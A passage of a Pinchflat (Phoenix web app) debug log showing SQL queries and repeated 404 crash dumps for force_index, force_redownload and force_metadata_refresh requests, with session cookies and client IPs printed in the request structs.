"/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163139.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:44.597 [info] GET /sources/7acc8a49-1f0e-45f5-8397-1fe4344237e3/feed.xml 17:53:44.598 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7acc8a49-1f0e-45f5-8397-1fe4344237e3"} Pipelines: [:maybe_basic_auth] 17:53:44.598 [debug] QUERY OK source="sources" db=0.3ms idle=115.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7acc8a49-1f0e-45f5-8397-1fe4344237e3"] 17:53:44.599 [debug] QUERY OK source="media_items" db=0.4ms idle=116.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 17:53:44.600 [info] GET /sources/new 17:53:44.600 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 17:53:44.601 [debug] QUERY OK source="source_metadata" db=0.4ms idle=15.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 17:53:44.601 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=19.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:44.602 [debug] QUERY OK source="media_metadata" db=0.3ms idle=16.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [404257] 17:53:44.602 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:44.602 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.604 [info] Sent 200 in 6ms 17:53:44.604 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.604 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.607 [info] Sent 200 in 6ms 17:53:44.704 [info] GET /sources/3/force_index 17:53:44.704 [debug] QUERY OK source="settings" db=0.2ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.705 [debug] QUERY OK source="settings" db=0.1ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.705 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.705 [error] #PID<0.163145.0> running PinchflatWeb.Endpoint (connection #PID<0.163144.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163144.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163145.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT9uc9V1ljT8AFprh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163144.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163144.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48884}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163145.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in (truncated) 17:53:44.725 [info] GET /sources/3/force_redownload 17:53:44.726 [debug] QUERY OK source="settings" db=0.3ms idle=121.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.726 [debug] QUERY OK source="settings" db=0.1ms idle=121.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.726 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.726 [error] #PID<0.163147.0> running PinchflatWeb.Endpoint (connection #PID<0.163146.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163146.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48888}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163147.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT9zfmeXug0gAFpsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163146.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48888}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163146.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48888}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163147.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :pl (truncated) 17:53:44.732 [info] GET /sources/3/force_metadata_refresh 17:53:44.733 [debug] QUERY OK source="settings" db=0.1ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.733 [debug] QUERY OK source="settings" db=0.1ms idle=28.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.733 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.734 [error] #PID<0.163149.0> running PinchflatWeb.Endpoint (connection #PID<0.163148.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163148.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163149.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT91TBSvLaIIAFpsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, 